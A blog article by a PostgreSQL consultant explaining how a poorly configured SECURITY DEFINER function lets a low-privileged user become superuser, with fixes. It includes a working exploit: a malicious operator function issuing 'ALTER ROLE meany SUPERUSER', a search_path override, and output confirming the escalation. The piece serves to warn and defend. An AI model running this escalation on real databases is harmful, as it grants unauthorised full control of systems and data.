Abusing SECURITY DEFINER functions

[Nytro]

Abusing SECURITY DEFINER functions

Blog » Abusing SECURITY DEFINER functions

Posted on 17. May 2019 by Laurenz Albe

© xkcd.com under the Creative Commons License 2.5

 

Functions defined as SECURITY DEFINER are a powerful, but dangerous tool in PostgreSQL.

The documentation warns of the dangers:

Because a SECURITY DEFINER function is executed with the privileges of the user that owns it, care is needed to ensure that the function cannot be misused. For security, search_path should be set to exclude any schemas writable by untrusted users. This prevents malicious users from creating objects (e.g., tables, functions, and operators) that mask objects intended to be used by the function.

This article describes such an attack, in the hope to alert people that this is no idle warning.

What is SECURITY DEFINER good for?

By default, PostgreSQL functions are defined as SECURITY INVOKER. That means that they are executed with the User ID and security context of the user that calls them. SQL statements executed by such a function run with the same permissions as if the user had executed them directly.

A SECURITY DEFINER function will run with the User ID and security context of the function owner.

This can be used to allow a low privileged user to execute an operation that requires high privileges in a controlled fashion: you define a SECURITY DEFINER function owned by a privileged user that executes the operation. The function restricts the operation in the desired way.

For example, you can allow a user to use COPY TO, but only to a certain directory. The function has to be owned by a superuser (or, from v11 on, by a user with the pg_write_server_files role).

What is the danger?

Of course such functions have to be written very carefully to avoid software errors that could be abused.

But even if the code is well-written, there is a danger: unqualified access to database objects from the function (that is, accessing objects without explicitly specifying the schema) can affect other objects than the author of the function intended. This is because the configuration parameter search_path can be modified in a database session. This parameter governs which schemas are searched to locate the database object.

The documentation has an example where search_path is used to have a password checking function inadvertedly check a temporary table for passwords.

You may think you can avoid the danger by using the schema name in each table access, but that is not good enough.

A harmless (?) SECURITY DEFINER function

Consider this seemingly harmless example of a SECURITY DEFINER function, that does not control search_path properly:

CREATE FUNCTION public.harmless(integer) RETURNS integer    LANGUAGE sql SECURITY DEFINER AS 'SELECT $1 + 1';

Let’s assume that this function is owned by a superuser.

Now this looks pretty safe at first glance: no table or view is used, so nothing can happen, right? Wrong!

How the “harmless” function can be abused

The attack depends on two things:

• There is a schema (public) where the attacker can create objects.
• PostgreSQL is very extensible, so you can not only create new tables and functions, but also new types and operators (among other things).

The malicious database user “meany” can simply run the following code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

/*  * SQL functions can run several statements, the result of the  * last one is the function result.  * The "OPERATOR" syntax is necessary to schema-qualify an operator  * (you can't just write "$1 pg_catalog.+ $2").  */   CREATE FUNCTION public.sum(integer, integer) RETURNS integer    LANGUAGE sql AS 'ALTER ROLE meany SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2';   CREATE OPERATOR public.+ (    FUNCTION = public.sum,    LEFTARG = integer,    RIGHTARG = integer );   /*  * By default, "pg_catalog" is added to "search_path" in front of  * the schemas that are specified.  * We have to put it somewhere else explicitly to change that.  */   SET search_path = public,pg_catalog;   SELECT public.harmless(41);    harmless ----------        42 (1 row)   \du meany              List of roles  Role name | Attributes | Member of -----------+------------+-----------  meany     | Superuser  | {}

What happened?

The function executed with superuser permissions. search_path was set to find the (unqualified!) “+” operator in schema public rather than in pg_catalog. So the user-defined function public.sum was executed with superuser privileges and turned the attacker into a superuser.

If the attacker had called the function public.sum himself (or issued the ALTER ROLE statement), it would have caused a “permission denied” error. But since the SELECT statement inside the function ran with superuser permissions, so did the operator function.

How can you protect yourself?

In theory you can schema-qualify everything, including operators, inside the function body, but the risk that you forget a harmless “+” or “=” is just too big. Besides, that would make your code hard to read, which is not good for software quality.

Therefore, you should take the following measures:

• As recommended by the documentation, always set search_path on a SECURITY DEFINER function. Apart from the schemas that you need in the function, put pg_temp on the list as the last element.
• Don’t have any schemas in the database where untrusted users have the CREATE privilege. In particular, remove the default public CREATE privilege from the public schema.
• Revoke the public EXECUTE privilege on all SECURITY DEFINER functions and grant it only to those users that need it.

In SQL:

1 2 3 4 5 6

ALTER FUNCTION harmless(integer)    SET search_path = pg_catalog,pg_temp;   REVOKE CREATE ON SCHEMA public FROM PUBLIC;   REVOKE EXECUTE ON FUNCTION harmless(integer) FROM PUBLIC;

Laurenz Albe

Laurenz Albe is a senior consultant and support engineer at Cybertec. He has been working with and contributing to PostgreSQL for 13 years.

 

Sursa: https://www.cybertec-postgresql.com/en/abusing-security-definer-functions/